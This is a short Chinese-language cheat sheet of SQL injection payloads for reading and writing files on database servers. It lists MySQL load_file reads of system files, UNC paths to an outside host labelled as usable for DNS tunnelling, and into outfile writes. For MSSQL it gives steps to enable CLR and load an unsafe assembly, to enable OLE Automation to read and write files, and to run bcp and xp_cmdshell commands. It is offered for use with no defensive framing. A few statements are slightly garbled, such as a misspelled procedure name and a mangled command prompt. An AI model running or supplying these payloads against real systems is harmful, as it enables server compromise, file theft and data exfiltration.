关于SQL注入中文件读写的方法总结

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

select 0x313233 into outfile 'D:/1.txt'

select 0x313233 into dumpfile 'D:/1.txt'

create table result(res varchar(8000));
bulk insert result from 'd:/1.txt';

// 开启CLR集成
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'clr enabled',1
reconfigure

create assembly sqb from 'd:\1.exe' with permission_set=unsafe

select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files

create assembly sqb from 'd:\net.exe';
alter assembly sqb add file from 'd:\1.txt'
alter assembly sqb add file from 'd:\notnet.exe'

# 开启Ole Automation Procedures
 
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1
exec @ret = sp_onmethod @f, 'readline', @line out
while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"

exec xp_cmdshell 'echo test>d:\1.txt'